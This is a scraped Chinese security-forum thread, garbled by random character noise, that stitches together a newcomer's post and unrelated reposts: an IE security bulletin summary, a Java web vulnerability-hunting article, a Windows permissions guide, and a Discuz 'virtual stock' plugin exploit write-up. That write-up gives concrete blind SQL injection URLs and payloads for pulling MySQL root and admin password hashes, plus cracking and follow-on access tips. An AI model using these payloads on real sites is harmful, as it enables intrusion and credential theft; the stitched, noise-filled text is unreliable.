最近看过此主题的会员

返回列表 发帖

[问题求助] 新人报道签到帖

新人报道签到帖$ g: T  R' ~% t
- w/ ?+ O' U' M8 B

( o9 t/ m( P5 G" Q& K0 o找一个一般点的师傅 不用太厉害了 教教我
非安全中国网免责声明 1、本帖所有言论和图片纯属发表者个人意见,与本站立场无关;
2、本话题由:marksav发表,本帖发表者marksav符合《关于版权及免责声明》6大管理制度规定,享有相关权利;
3、其他单位或个人使用、转载或引用本帖时必须征得发表者marksav和本站的同意;
4、本帖作品部分转载自其它媒体并在本站发布,转载的目的在于传递更多信息,并不代表本站赞同其观点和对其真实性负责;
5、本帖如有侵犯到贵站或个人版权问题,请立即告知本站,本站将及时予与删除,并致以最深的歉意;
6、本站管理员和版主有权不事先通知发帖者而删除本文。

师傅不能求 求不来

TOP

还是要自己努力 来得更好

TOP

师傅求是求不来的。
) q2 M0 h5 ?7 A$ {: c慢慢来吧。。

TOP

详解反嗅探监听技术<br><TABLE class="tab-content table-break" cellSpacing=0 cellPadding=0>' p; d) m2 i" q* F' w9 @
<TBODY>9 U7 c0 s8 Y' H" w+ L
<TR>. g2 ?% l; d1 Z% Q
<TD class="summary remark word-break">
+ V0 N# T( I9 ?4 \<DIV class="summary remark word-break" id=div-view-summary>一.嗅探器的基础知识<BR><BR><BR>  1.1 什么是嗅探器?<BR><BR><BR>  嗅探器的英文写法是Sniffer,可以理解为一, M; y3 U0 H' M
" I0 u4 A, H1 r

* _" n% @, r( n: @0 f9 z# T/ T
$ U; f2 X1 y6 O* H! g
- g6 L4 x& v% v: U' z% T+ J- L, t3 B' L; s. T. `3 R/ J1 p/ T- n

. v- `5 i& u  v" H( g) _
- [. Q5 y  I- u# k( f
* ?- c5 F+ ?6 {, q8 H/ n  B( j: j* e  ?- }6 Y8 ~

3 K' w4 `2 T0 M: M; I* e! G
7 d" I9 Q8 r5 I" E- e
( m" ?+ V/ g1 _" b. H) s0 W4 u7 p+ m
* e$ M% V+ c9 S$ ]% m" ~
! p3 o! J) Q: \) B  N+ Y, R+ w

( A$ m% b3 [) L8 K
7 v$ U) Q4 Y  _! j" f7 j
& s) T7 z: x  }公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

MS07-033:Internet Explorer月度累积性安全更新&lt;br&gt;&lt;P&gt;发布日期: 六月 12, 2007&lt;BR&gt;版本: 1.0&lt;/P&gt;
) M5 l# J8 p% T3 J&lt;P&gt;摘要:&lt;/P&gt;7 @1 J( P$ i6 d9 A' ?& W  Y
&lt;P&gt;此关键安全更新可消除五个秘密报告的漏洞以及一个公开披露的漏洞。 如果用户使用 Internet Explorer 查看特制网页,那么其中一个漏洞可能允许远程执行代码。 一个漏洞可能允许欺骗,也可能涉及某特制网页。 在所有远程执行代码情形中,帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于欺骗情形来说,漏洞利用需要用户交互。&lt;/P&gt;
$ g5 Y3 o" u% A" B&lt;P&gt;这是对 Internet Explorer 5.01 和 Internet Explorer 6 的受支持版本,以及 Internet Explorer 7 的最受支持版本的关键安全更新。对于 Internet Explorer 7 的受支持版本,以及 Windows Server 2003 的各版本,此更新等级为“中等”。&lt;/P&gt;
. b; N8 Q6 I3 _( C& U&lt;P&gt;此安全更新通过对 COM 对象设置 kill bit,对其他对象修改 Internet Explorer 处理调用、错误情况和特殊功能(如语言包安装和语音控制)的方式,来消除两个漏洞。 &lt;/P&gt;
: A) H' W+ Z8 p&lt;P&gt;建议。 Microsoft 建议用户立即应用此更新。&lt;/P&gt;+ \, L5 M  T/ @
&lt;P&gt;受影响的软件&lt;/P&gt;
5 \- B. e7 x0 n&lt;P&gt;操作系统 组件 最大安全影响 综合严重程度等级 此更新替代的公告&amp;nbsp; &lt;BR&gt;Internet Explorer 5.01 和 Internet Explorer 6 Service Pack 1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;Microsoft Windows 2000 Service Pack 4&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 5.01 Service Pack 4&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Microsoft Windows 2000 Service Pack 4&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6 Service Pack 1&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Internet Explorer 6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;Windows XP Service Pack 2&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows XP Professional x64 Edition 和 Windows XP Professional x64 Edition Service Pack 2&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 x64 Edition 和 Windows Server 2003 x64 Edition Service Pack 2&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 SP1(用于基于 Itanium 的系统)以及 Windows Server 2003 SP2(用于基于 Itanium 的系统)&lt;BR&gt;&amp;nbsp;Microsoft Internet Explorer 6&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Internet Explorer 7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;BR&gt;Windows XP Service Pack 2&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows XP Professional x64 Edition 和 Windows XP Professional x64 Edition Service Pack 2&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 Service Pack 1 和 Windows Server 2003 Service Pack 2&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;中等&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 x64 Edition 和 Windows Server 2003 x64 Edition Service Pack 2&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;中等&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Server 2003 SP1(用于基于 Itanium 的系统)以及 Windows Server 2003 SP2(用于基于 Itanium 的系统)&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;中等&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Vista&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;BR&gt;Windows Vista x64 Edition&lt;BR&gt;&amp;nbsp;Windows Internet Explorer 7&lt;BR&gt;&amp;nbsp;远程执行代码&lt;BR&gt;&amp;nbsp;严重&lt;BR&gt;&amp;nbsp;MS07-027&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
; `/ m: }: q2 K; f) Q&lt;P&gt;微软的安全公告: &lt;/P&gt;
- t) I- x- b% }&lt;P&gt;&lt;BR&gt;http://www.microsoft.com/china/technet/security/bulletin/MS07-033.mspx&lt;/P&gt;
- {  {/ |6 A: Y&lt;P&gt;(以上链接均连到第三方网站)&lt;BR&gt;&lt;/P&gt;, u2 i; N2 o' v  Y' H1 m# M

. x, b# y' _5 I+ G2 H$ ^3 y* g2 h# A- a. k; C2 v. q! `+ n+ M
; X( q1 t0 b! @- g9 ~% J

& G- s6 _! m6 f" k5 u
# @0 ]  X2 [6 J1 ]; A9 L/ j. L" L8 I* i+ A" |+ i- S, j
1 f/ R7 ~3 Y; g# k1 d8 }6 Z7 i
$ a5 |  L) K: A" z3 ~
6 u  n& ~1 {( H
3 ~6 |6 _: m* ^0 n  U. {

% I+ S- g: V, [# t) @! t* b. b( F; T. Q! J2 Q" r% f! W, q

6 R* |% n1 u7 c; {
4 ]" _: N, E! V
( g6 e" y1 Q& `6 |- X# r* F
# I3 g# m& ~4 L6 E/ n& e$ `2 q$ B% n- I& ?" ?
1 i$ I% x; N8 P  Y& `
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

分层架构下寻找java web漏洞
<TABLE class="tab-content table-break" cellSpacing=0 cellPadding=0>! @/ X2 L# f  D, m1 b7 T8 K5 ^1 W
; x  d0 O. X! [* i) M

4 P# K/ ^8 [0 _7 m9 y
* w9 U) [, X% L2 ?: q9 rweb开发应用程序(网站),是目前应用最广泛的程序。但是开发者的水平参差不齐,导致了各种各样web漏洞的出现。本文站在分层架构的角度,分析一下如何在java web程序中找到经常出现的种种漏洞。  h; _1 U1 r9 y/ I) s4 y

1 c' W! Z8 X4 e1 X1 M
  i3 `$ X0 K* z* K本文讨论的只是web程序上的漏洞,和其它漏洞,是相对独立的。这句话看似废话,实际上却说明了时常被忽略的因素,即:“很多人认为只要我开发web程序没有漏洞,web服务器就安全了”,事实上,并非如此。一个合格的web程序开发人员,应该时刻清楚自己开发的程序会在什么环境中被使用,以及一旦自己的程序产生某种漏洞,最终会导致什么后果。简单的说,web程序被安装在一台或多台(分布式)web服务器上,一旦安装成功,就等于在为广大用户提供服务的同时,给入侵者打开了一条或N条新的思路。如果服务器管理员刚好对安全配置不了解(事实上,国内这种管理员居多),那么只好由我们的程序来守好最后的关卡最后一道防线。 看了本文题目,一定有一部分人会认为,“不就是讲JSP漏洞么,用得着披着这么厚的包装么?”,为了回答这个疑问,我们先看看JSP和ASP的开发有什么不同吧。在ASP时代(ASP,PHP等语言),开发一套系统往往没有修改已经写好的系统痛苦的多,因为它们把所有的代码(包括链接数据库的代码、执行SQL语句的代码、控制页面显示的代码)统统都放在<%......%>中,我们时常会看到如下代码块: -----------代码来自某ASP木马----------- Function GetFileSize(size)   Dim FileSize   FileSize=size / 1024   FileSize=FormatNumber(FileSize,2)   If FileSize < 1024 and FileSize > 1 then     GetFileSize="<font color=red>"&amp; FileSize &amp; "</font> KB"   ElseIf FileSize >1024 then     GetFileSize="<font color=red>"&amp; FormatNumber(FileSize / 1024,2) &amp; "</font> MB"   Else     GetFileSize="<font color=red>"&amp; Size &amp; "</font> Bytes"   End If End Function ---------------------------------------- 如果客户的需求变了,要求页面不能使用“<font color=red>”等标签,全部应用“CSS”显示。挂了,把程序员召唤出来,一个一个的改吧。。。注意,这里强调下,特指“召唤程序员”才能改,如果是学美工的,只会HTML、JS、CSS,完了,这活还干不成。而这些只是简单的页面修改,如果客户今天说,MYSQL服务器承担不了这个数据量,要挂Oracle,可怜的程序员就要在一片一片的代码海洋里寻找执行SQL语句的代码,而每一个文件都可能存放着SQL语句,意味着每一个文件都可能在受SQL注入的威胁。 JSP采用MVC模式分层架构进行开发,就可以把所有的文件分开,根据其用途,分别放在不同的文件夹下(分层),每个文件夹下的文件只负责自己的事情。例如数据访问层的代码就放在数据访问层的文件夹下,业务逻辑层的代码也都放在自己的文件夹下,当显示层(这一层是为了把最终的运算结果显示给用户看)的需求发生变化,就像前面的客户需求,我们只要修改这一层的文件就是了,其他层的代码根本不需要动,而修改者也不需要懂得其它层的代码。 代码分层了,意味着漏洞也在跟着分层,我们寻找JSP漏洞的思路也要跟着分层,才能与时俱进。 下面在讲述寻找漏洞的过程中,本文就拿一个简单的分层架构例子来做样板。样板程序的名称为“XX文章系统”,系统使用了STRUTS框架,和安全有关的层分为: “DB层”,这一层存放了链接数据库的字符串,以及JdbcTemplate类,直接访问数据库。因为在java中,执行SQL语句的函数按照返回值可以分为三类,所以在这一层定义了JDBC模版类(JdbcTemplate),每一次使用操作数据库时都要执行这一层的三个方法其中一个。 “DAO层(Data Access Object数据访问对象层)”,从安全角度上看,这一层存放了SQL语句(并不执行SQL语句,语句传给DB层执行)。这一层调用“DB层”访问数据库,它只知道“DB层”的存在,不知道数据库的存在。 “SERVICE层”,业务逻辑层,因为一个业务的实现,并不是一次数据库访问就可以完成的,所以这一层通过N次调用“DAO层的方法”实现业务逻辑,它只知道“DAO层”的存在,不知道“DB层”和数据库的存在。 “ACTION层”,调用业务逻辑层,根据返回的结果,控制JSP页面显示。它只知道业务层的存在。这一层是入侵者的攻击平台。 “Form层”,把用户POST提交的信息封装成Form对象,经过验证后提交给ACTION层处理。 “JSP层”(显示层),这一层是最终显示给用户看的页面,同时也是入侵者的攻击平台。 在收到GET请求后,用户访问ACTION层,自动会发生:“ACTION调用SERVICE,SERVICE调用DAO,DAO调用DB,DB执行SQL语句返回结果给DAO,DAO返回给SERVICE,SERVICE返回给ACTION,ACTION把数据显示到JSP里返回给用户”。 在收到POST请求后,用户提交的表单会被封装成form对象,在封装的时候,调用form类中的验证方法对提交参数进行验证,然后把form对象扔给ACTION层,继续执行GET请求后面的步骤。 有了样板,我们来分析这套程序中可能出现的各种web漏洞。 1,SQL注入漏洞。 从SQL注入漏洞说起吧,在web漏洞里,SQL注入是最容易被利用而又最具有危害性的。怎么快速的找到呢?先分析流程,就拿用户查看文章这个流程为例:用户访问一个action,告诉它用户想看ID为7的文章,这个action就会继续完成前面所说的流程。 如果是ASP程序,这就是最容易产生问题的时候,ASP是弱类型,接到参数后不需要转换类型,就和SQL语句连加起来。但是JSP就不一样,JSP是强类型的语言,接受有害的参数后:对于GET请求(直接在地址栏访问页面),如果这里要的是int型,即使不懂安全的程序员,也会把它(文章的ID)立刻转换成int,因为这里转换后在后面的处理中会更容易操作,而这时程序就出错了;对于POST请求(提交表单),如果这里要的是int型,程序会在把它封装成Form对象时,因为自动要进行类型转化,同样发生错误,这两种错误发生后,根本不会访问后面的流程,就抛出异常跳出了,或许这就是JSP天生的安全性。所以,通常提交的变量是int时,不会发生问题,问题会出现在string参数这里,如果要查看某用户的信息,程序可能会让你提交如下参数:showuser.do?username=kxlzx。问题来了,因为这里是string类型,所以不懂安全的程序员顶多会判断一下是不是空,就连加成为SQL语句。有漏洞的程序大概会写成这个样子: ACTION的代码:showuser.do   String username = null;   username = request.getParameter("username");   Service service = new Service();   service.findByUsername(username); 得到参数后调用service(代码略),service层直接交给了Dao层,dao的代码:   public Object findByUsername(String username)   {     JdbcTemplate jt=new JdbcTemplate();     String sql = "select * from Users where username='"+username"'";     List list = jt.query(sql);     ...................   } dao调用了DB层的JdbcTemplate,把SQL语句拼好后,传给了JdbcTemplate去执行。不用再看这里的JdbcTemplate,就可以知道里面的代码使用了Statement类的executequery()方法执行,最终导致了SQL注入漏洞。 分析了这么半天,有读者会问:“难道我要费这么大的力气才能找到漏洞么?”。的确,通常在ASP程序里找注入时的思路就是这样子,但是我们现在是在使用了开发模式分层架构的JSP程序里,应该按照分层架构的思维去找漏洞。在回答这个问题之前,我们还得绕个弯子,看看怎么在这里预防SQL注入(java始终都是这么优美,它不会直接告诉你答案,而是一层一层的让你拨开云雾)。 刚才分析流程,是从正向分析的,从用户输入到产生漏洞,我们在防御的时候,不妨倒过来看看,从DB层入手。JdbcTemplate调用执行SQL语句,可以有两个类供我们选择,一个是Statement,另一个就是预处理的Statement,两者有着效率上和安全上的显著差别。在效率上,只要数据库支持预处理技术(sqlserver,mysql,oracle等都支持,只有少数access等不支持),就会在大量执行SQL语句时增加速度;在安全上,使用预处理,会把接受的参数也经过预处理,从而不会作为SQL语句的一部分执行,而是仅仅作为SQL语句中的参数部分内容被执行。一旦DB层使用了预处理,DAO层的SQL语句也会发生变化,成为这个样子:     public Object findByUsername(String username)   {     JdbcTemplate jt=new JdbcTemplate();     String sql = "select * from Users where username=?";     List list = jt.query(sql,new Object[1]{username});     ...................   } 这样,SQL注入就和我们的程序几乎无关了,注意我说的是几乎,而不是全部。知道了怎么防御,于是一切在这里变的简单极了,我们应该直接去DB层找到JdbcTemplate,看看代码,一旦使用了Statement,很好,这个系统十有八九有漏洞,对于GET请求,下面要做的是使用Editplus搜索“request.getParameter”,对于POST请求,就打开所有的FORM层寻找验证方法(validate方法专门用于验证),如果验证写的有问题,就会导致漏洞出现。没有使用预处理的系统,可能会在action层和form层进行防御,对参数过滤,但总有防御不到的时候,因为战线拉的太长了,每一个action都可能接受参数并存在漏洞。 还有一种情况,系统一部分使用了预处理,一部分没有,这样的情况可能是因为项目赶的比较仓促,人员没有经过正规培训,最后艰难的整合到了一起。这种情况也好办,直接在DAO层搜索("')或('"),这些符号用于和字符串变量连加,拼SQL语句,肯定是这些语句之后的代码使用了Statement。然后再往上层找,看看哪个action调用了这个有问题的dao类,也可能发生SQL注入。 即使系统使用了预处理,别忘了,程序给客户使用后,客户有权利去扩展的。程序拿到客户那里,客户有了新的需求,而这个需求又不大,很可能不愿意花钱重新雇人来实现扩展功能,在这个时候也可能出现问题,客户使用自己的程序员扩展AJAX功能,这个程序员因为怕出问题,不敢动源程序,就在web.xml里加了一个servlet,这个servlet直接去调用conn。可怕的事情发生了。所以,我们的搜索漏洞规则中又加上了一条,在非dao层的文件中,搜索“select,update,delete”等字符串。 2,暴露程序信息漏洞。 这个漏洞是怎么来的呢?我们需要从异常说起。有经验的入侵者,可以从JSP程序的异常中获取很多信息,比如程序的部分架构、程序的物理路径、SQL注入爆出来的信息等,这个漏洞很容易防御,却很难快速定位漏洞文件。出现这样漏洞的时候,通常是我们在写代码的时候,少了一些可能性的考虑而导致的。这样的问题都是经验造成的,而寻找漏洞也要通过经验加运气(要有仙缘。。。),我个人技术有限,就不多说了。防御的方法就是在程序中加上“Exception层”,自定义异常,把系统产生的异常统统包装起来,不要放过任何一个可能产生异常的地方。像腾讯的异常就包装的很好“对不起,今天的注册人数已经达到十万,请您明天再来。。。”,废话,日注册量都十万,还让不让人活啦,铁定是程序发生了异常,不敢让各位大大们看到真实的面孔。 3,AJAX暴露出来的漏洞。 前面讲SQL注入的时候说过的例子就是一个典型的情况,因为大多数网站不是在开发时就拥有Ajax技术的,都是后来看大家都用了,赶时髦加上。但是在加上的同时没有意识到,在web上增加一个文件,就等于扩展了一点攻击面。在这里我就不多说了,请参考IT168的AJAX安全专题http://www4.it168.com/jtzt/shenlan/safe/ajax 4,业务逻辑漏洞。 这个词看起来挺抽象的,他和“暴露程序信息漏洞”有很多共同点,看名字就知道,应该是存在于业务逻辑层(service层)的漏洞。这样的漏洞都和程序的运行逻辑有关,举一个例子。 小王给小李转账,在业务层的流程应该是这样子的,首先在小王的账上扣除一百元,之后在小李的账上增加一百元。 这个过程需要执行至少两条SQL语句,也就是调用至少两次dao方法,而一旦调用中间出现问题(产生异常),就应该立刻回滚而不是跳转到异常处理机制。大家都应该想到使用“事务处理”,是的,在一个大型复杂的项目里,一定要进行事务处理,一旦事务处理控制的不好,麻烦就大了。这就是它和“暴露程序信息漏洞”的共同点,发现的时候,要凭经验和运气。 5,XSS漏洞。 这个漏洞也影响深远,想要发现这样的漏洞,除了在页面上进行测试外,还要从流程上入手。用户输入有害信息后,信息保存到数据库,从数据库中读出来丢给用户时产生漏洞。也就是说我们有两个过程可以拦截,就是保存到数据库时,和从数据库读出来后交给用户时。最快的方法是直接打开数据库查看数据,如果数据没有经过编码直接放进了数据库,那么可能性就有了一半。剩下的一半更简单,在action层搜索转码常用的字符,如果没有,就很容易发现漏洞。即使有,也不用着急,在action层里慢慢找,很可能还有漏网之鱼。 6,页面层的逻辑漏洞。 此类漏洞涵盖面很大,包括“暴露不该暴露的数据”、“权限控制的不精确”、“方便客户的同时存在安全隐患”等等。这类漏洞就只能靠着自己的经验,使用系统的每一个细小功能来寻找。我给出几个例子供大家参考。 例1,“找回密码”功能,这个功能是为了方便客户的,可以通过一些客户之前确认的信息而获得客户的身份验证。有些程序的逻辑是这样的,“请输入VIP用户名”--(判断VIP用户不存在)--“请输入提示问题答案”--显示用户密码或提供修改密码的链接。第一步,入侵者可以获得VIP用户名是否存在,进而获取密码,第二步,一旦用户留的问题比较弱智,就等于告诉别人自己的密码。 例2,用户列表功能,试想,普通用户闲着没事看用户列表做什么?这个功分明是为了方便入侵者搜集用户名的。 例3,不要把防护交给JS,谁告诉我们使用JS可以防止用户做某些操作的?这简直是陷阱,JS只能防护普通用户而已,永远不要相信客户端提交上来的数据,我见到有人的系统在限制上传文件时,仅仅在JS里做了防护,这不是自欺欺人么? </TABLE>
% N: W' q7 B9 b- N9 o, k' z1 K; M5 y% P1 J; y+ V! @

# V: |, V% J- Y
# G$ ~" X+ {  `' K* E
. ~/ f) L! I" P9 ]/ c+ d# w( h! [$ h8 w  b/ `; I& n' h+ X

8 P+ {9 Y7 M2 Y! V' C- M1 C- K- R% ]9 h
7 z8 {9 G( B5 f; J* |2 T4 \5 c. d
+ d( n; G  E$ A7 {: N$ @

) }* v  x3 J2 j% T5 F) v4 J0 y; z& `

) ^! N( y6 {. x1 |4 B6 z& v) t" q2 H! N" {1 T2 @9 I

1 R# ^: @4 l0 S( g& m7 l
% f" Q- `3 b% V0 t
5 J: V+ R/ H( [% ^' g' ~; d  k; K

/ ]! J# l, I$ G0 C( ]3 s公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Discuz虚拟股市插件SQL盲注漏洞利用
影响版本:discuz7.0
( X8 D- a2 j! h: U经过简单的测试,就发现了《虚拟股市》存在注射漏洞:
. }7 `1 C& Q- R! R, ~: xhttp://www.sitedir.com.cn/plugin.php ... _One&amp;stockid=91  # 91为可变参数
8 ^1 t# N: r9 `! s$ Ahttp://www.sitedir.com.cn/plugin.php ... ser_Show&amp;uid=13   # 13为可变参数4 [7 _3 O6 D' n. n: O  \
! S6 m4 b7 N. a! r7 {' i" @. Y
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。
2 ~! x, k. N% e5 Q- ?, [) L
2 X) g) z+ }4 v* }5 m7 I; o: `思路有二:2 n7 F" k& D. o) ^
1.尝试盲注
3 p4 u" j: m* f3 @& E) }1 x+ @2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数, d/ y3 g' Y% L) u) T7 l& x

' d+ n- W; p2 [! c1 R3 h  [, e但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因).因此,只能采取盲注的手法.
% S3 U1 n6 s7 ?4 t+ y! m; j# Z- D4 P: A3 c4 ~: p: ^% z
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:% S! W0 c/ M1 G9 ]: W8 ~. @3 ]
#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4
1 F. X" ~! D# Z/plugin.php?identifier=stock&amp;module=stock&amp;action=User_Show&amp;uid=13 and substring(@@version,1,1)=5- w$ h' f: s' a" o5 I3 G
#是否支持子查询(版本为4的情况下)
$ q* r4 A. x, d5 w/plugin.php?identifier=stock&amp;module=stock&amp;action=User_Show&amp;uid=13 and (select 1)=1  m, I, P9 N8 A2 F1 Z( L( V, N& m
#当前用户是否为root1 Q; W2 S# @% Y; o2 s' P6 [) u
/plugin.php?identifier=stock&amp;module=stock&amp;action=User_Show&amp;uid=13 and (select 1 from mysql.user limit 0,1)=1
4 ^. w% R, S6 _' l5 X- e) Q3 h- e
7 D' s/ ^, s& |2 s下面就根据情况而异了:
( R1 O5 }" U: B/ }1 @3 L: q1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。4 B6 `1 L7 n' ?. K  e
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
' w1 L$ c5 m6 R$ w  `" ?6 s+ n& o9 m9 N
#######取数据) r4 R- y( W) J! O) Z; A
#mysql.user表第一行第一个字符的ASCII值是否大于80" |. p" V/ X& N
and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
9 r+ N( X; ~4 k% {#第二个字符的ASCII值是否大于90
0 Z6 [! ^4 N/ H( S. aand ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90; d/ W! a' y& y# m
…………7 V4 b% I1 |7 Z7 N- U5 L4 k; |% j

% f( [4 [; z+ W* Q3 K9 E就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。" D' l) _9 a, V% Z& I+ d% N0 N' h5 Z

: ~* d( w$ W$ L$ H% R密码破解:" K5 ?/ s8 d4 Q* u7 J
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。4 [1 J/ N/ w7 C% C
2.MYSQL 版本为5的话,推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距.7位纯字母只用了7分多钟就破出来了.
4 ~+ D5 E5 Z4 E+ b
& c, N$ J9 O7 U. d4 t  E
" u* ?& o3 X( N9 w  I
  ^9 V- F* t5 [; O6 C& f! a/ Z0 {0 S/ r4 y0 Z; |+ }

7 ]% U4 k9 _$ `. S& P6 Q% X" }# K5 A0 C3 d; {- \
' s& M' I( ?! m
4 j, H; w+ l# M/ i7 G3 e7 V

% s) c2 B* U8 z& d: P9 S
8 j5 v* |& w7 N! l8 j2 `* y5 [- h% q0 l' [

7 Y, e; q4 t  Q0 Y) L! Q+ Y) l1 S; f/ C0 s9 [* J( m

1 ~2 ^3 a& e' L; v, q: s2 Q
- `  R. J) f; _
- B) f# g  j% T- H- w
8 `$ k" }5 P: n$ P6 E
- l5 {% B5 w& r' _9 T$ H
6 o$ d( H1 G+ h6 O. \! l公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Windows下权限设置详解
随着动网论坛的广泛应用和动网上传漏洞的被发现以及SQL注入式攻击越来越多的被使用,WEBSHELL让防火墙形同虚设,一台即使打了所有微软补丁、只让80端口对外开放的WEB服务器也逃不过被黑的命运。难道我们真的无能为力了吗?其实,只要你弄明白了NTFS系统下的权限设置问题,我们可以对crackers们说:NO!        要打造一台安全的WEB服务器,那么这台服务器就一定要使用NTFS和Windows NT/2000/2003。众所周知,Windows是一个支持多用户、多任务的操作系统,这是权限设置的基础,一切权限设置都是基于用户和进程而言的,不同的用户在访问这台计算机时,将会有不同的权限。DOS是个单任务、单用户的操作系统。但是我们能说DOS没有权限吗?不能!当我们打开一台装有DOS操作系统的计算机的时候,我们就拥有了这个操作系统的管理员权限,而且,这个权限无处不在。所以,我们只能说DOS不支持权限的设置,不能说它没有权限。随着人们安全意识的提高,权限设置随着NTFS的发布诞生了。        Windows NT里,用户被分成许多组,组和组之间都有不同的权限,当然,一个组的用户和用户之间也可以有不同的权限。下面我们来谈谈NT中常见的用户组。    Administrators,管理员组,默认情况下,Administrators中的用户对计算机/域有不受限制的完全访问权。分配给该组的默认权限允许对整个系统进行完全控制。所以,只有受信任的人员才可成为该组的成员。Power Users,高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。分配给 Power Users 组的默认权限允许 Power Users 组的成员修改整个计算机的设置。但Power Users 不具有将自己添加到 Administrators 组的权限。在权限设置中,这个组的权限是仅次于Administrators的。    Users:普通用户组,这个组的用户无法进行有意或无意的改动。因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序。Users 组是最安全的组,因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料。Users 组提供了一个最安全的程序运行环境。在经过 NTFS 格式化的卷上,默认安全设置旨在禁止该组的成员危及操作系统和已安装程序的完整性。用户不能修改系统注册表设置、操作系统文件或程序文件。Users 可以关闭工作站,但不能关闭服务器。Users 可以创建本地组,但只能修改自己创建的本地组。    